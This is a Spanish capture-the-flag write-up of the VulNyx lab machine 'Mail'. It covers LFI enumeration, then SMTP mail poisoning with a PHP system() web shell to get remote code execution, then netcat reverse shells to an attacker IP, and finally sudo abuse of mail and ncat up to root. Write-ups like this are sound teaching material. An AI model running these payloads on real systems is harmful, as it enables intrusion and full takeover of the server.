Information

Mail es una máquina Linux de dificultad media de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

root@kali:~  nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.44
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-19 13:03 +0200
Nmap scan report for 192.168.1.44
Host is up (0.000095s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
root@kali:~  nmap -sVC -p22,25,80 192.168.1.44
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-19 13:04 +0200
Nmap scan report for 192.168.1.44
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
25/tcp open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=mail
| Subject Alternative Name: DNS:mail
| Not valid before: 2023-05-13T14:36:50
|_Not valid after:  2033-05-10T14:36:50
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Email Reader
|_http-server-header: Apache/2.4.56 (Debian)

Shell (cain)

80/TCP (HTTP)

Site

En el sitio encuentro un campo de entrada (input), solicita el número ID del correo para poder visualizarlo.

Si introduzco el ID 1, consigo leer un correo y enumero a los usuarios cain y abel.

IDs Fuzzing

Verifico si existen más correos, consigo leer los correspondientes a los ID 1 y 2, ya que el resto no devuelve ningún dato.

root@kali:~  for id in $(seq 1 10); do echo "[*]id=${id}"; curl -s "http://192.168.1.44/emailreader.php?id=${id}" | grep -v "pre"; echo "\n#==============#\n"; done;

[*]id=1
From cain@mail.nyx  Sat May 13 18:04:51 2023
Return-Path: <cain@mail.nyx>
X-Original-To: abel
Delivered-To: abel@mail.nyx
Received: [127.0.0.1])
	by mail.nyx (Postfix) with SMTP id CA55B5DD
	for <abel>; Sat, 13 May 2023 18:03:31 +0200 (CEST)
Subject: Important

Hi Abel!
we are screwed, I lost the access credentials.




Cain
Regards

#==============#

[*]id=2
From abel@mail.nyx  Sat May 13 19:09:11 2023
Return-Path: <abel@mail.nyx>
X-Original-To: cain
Delivered-To: cain@mail.nyx
Received: [127.0.0.1])
	by mail.nyx (Postfix) with SMTP id CA55B5DD
	for <cain>; Sat, 13 May 2023 19:09:11 +0200 (CEST)
Subject: none

Hi Cain!
our boss is human trash, he doesn't pay me overtime... I'm very angry right now






Abel
Regards

#==============#

[*]id=3

#==============#

[*]id=4

#==============#

[*]id=5

#==============#

[*]id=6

#==============#

[*]id=7

#==============#

[*]id=8

#==============#

[*]id=9

#==============#

[*]id=10

#==============#

(La página emailreader.php incluye el input del usuario mediante el parámetro ?id=, por lo que podría ser vulnerable a LFI)

Local File Inclusion (LFI)
Interesting Files

Desde el LFI consigo leer el archivo /etc/passwd, también confirmo que existen los usuarios enumerados en el correo.

root@kali:~  curl -sX GET "http://192.168.1.44/emailreader.php?id=/etc/passwd" | grep "sh$"
root:x:0:0:root:/root:/bin/bash
cain:x:1000:1000:cain,,,:/home/cain:/bin/bash
abel:x:1001:1001::/home/abel:/bin/bash

En el nmap inicial se observa que el puerto 25 SMTP está abierto, por lo que intento acceder a los correos almacenados.

Busco en internet la ruta absoluta en la que podrían estar almacenándose localmente los correos electrónicos.

No consigo leer el correo de ninguno de los dos usuarios cain y abel.

root@kali:~  curl -sX GET "http://192.168.1.44/emailreader.php?id=/var/mail/cain"
<pre>
</pre>
                                                                                                                                                                                         
root@kali:~ ❯ curl -sX GET "http://192.168.1.44/emailreader.php?id=/var/mail/abel"
<pre>
</pre>

25/TCP (SMTP)

Connect

Me conecto con telnet al servicio SMTP sin proporcionar credenciales.

root@kali:~  telnet 192.168.1.44 25

Trying 192.168.1.44...
Connected to 192.168.1.44.
Escape character is '^]'.
220 mail.home ESMTP Postfix (Debian/GNU)
HELP
502 5.5.2 Error: command not recognized

NOOP
250 2.0.0 Ok

Send Malicious Mail

Envió un correo malicioso con código PHP desde la cuenta del usuario cain a abel.

root@kali:~  telnet 192.168.1.44 25
Trying 192.168.1.44...
Connected to 192.168.1.44.
Escape character is '^]'.
220 mail.home ESMTP Postfix (Debian/GNU)
MAIL FROM: cain
250 2.1.0 Ok
RCPT TO: abel
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
PoC
.
250 2.0.0 Ok: queued as 847042AF

Show Malicious Mail

Consigo leer desde el LFI en el directorio del usuario abel, el correo enviado por cain.

(Esto es crítico, ya que el servidor podría interpretar y ejecutar el código arbitrario que un atacante haya inyectado en el correo)

root@kali:~  curl -sX GET "http://192.168.1.44/emailreader.php?id=/var/mail/abel"
<pre>
From cain@mail.nyx  Sat Sep 19 14:33:14 2026
Return-Path: <cain@mail.nyx>
X-Original-To: abel
Delivered-To: abel@mail.nyx
Received: from unknown (unknown [192.168.1.5])
	by mail.home (Postfix) with SMTP id 847042AF
	for <abel>; Sat, 19 Sep 2026 14:31:44 +0200 (CEST)

PoC

</pre>

80/TCP (HTTP)

Mail Poisoning

RCE

Consigo ejecutar comandos como usuario cain apuntando al correo previamente envenenado con código PHP.

root@kali:~  curl -sX GET "http://192.168.1.44/emailreader.php?id=/var/mail/abel&cmd=id"
<pre>
From cain@mail.nyx  Sat Sep 19 14:33:14 2026
Return-Path: <cain@mail.nyx>
X-Original-To: abel
Delivered-To: abel@mail.nyx
Received: from unknown (unknown [192.168.1.5])
	by mail.home (Postfix) with SMTP id 847042AF
	for <abel>; Sat, 19 Sep 2026 14:31:44 +0200 (CEST)

uid=1000(cain) gid=1000(cain) groups=1000(cain)
PoC

</pre>
Reverse Shell

Ya ejecutando comandos trato de obtener una reverse shell.

root@kali:~  echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri
busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh
                                                                                                                                                                                         
root@kali:~  curl -sX GET "http://192.168.1.44/emailreader.php?id=/var/mail/abel&cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh"

Obtengo la shell como usuario cain.

root@kali:~  nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.44] 47880
id ; hostname
uid=1000(cain) gid=1000(cain) groups=1000(cain)
mail

Shell (abel)

Enumeration

Sudo

El usuario cain puede ejecutar como abel el binario mail con sudo.

cain@mail:/$ sudo -l
Matching Defaults entries for cain on mail:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cain may run the following commands on mail:
    (abel) NOPASSWD: /usr/bin/mail

Abuse

Binary (mail)

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario abel.

cain@mail:/$ sudo -u abel mail --exec='!/bin/bash'
abel@mail:/$ id ; hostname
uid=1001(abel) gid=1001(abel) groups=1001(abel)
mail

Privilege Escalation

Enumeration

Sudo

El usuario abel puede ejecutar como root el binario ncat con sudo.

Se observa que usa el parámetro (-6) para IPv6 y luego permite cualquier cosa con el comodín (*).

abel@mail:/$ sudo -l
Matching Defaults entries for abel on mail:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User abel may run the following commands on mail:
    (root) NOPASSWD: /usr/bin/ncat -6 *

Abuse

Binary (ncat)

Me lanzo una reverse shell por IPv6 y me convierto en usuario root.

abel@mail:/$ sudo -u root ncat -6 fe80::a00:27ff:feed:bee8%enp0s3 443 -e /bin/sh
root@kali:~  ncat -lvnp 443
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from [fe80::a00:27ff:fec0:32c4]:47784.
id ; hostname
uid=0(root) gid=0(root) groups=0(root)
mail

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@mail:/# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
9f0*****************************
170*****************************

Hasta aquí la resolución de la máquina Mail de VulNyx.

Happy Hacking! 🙂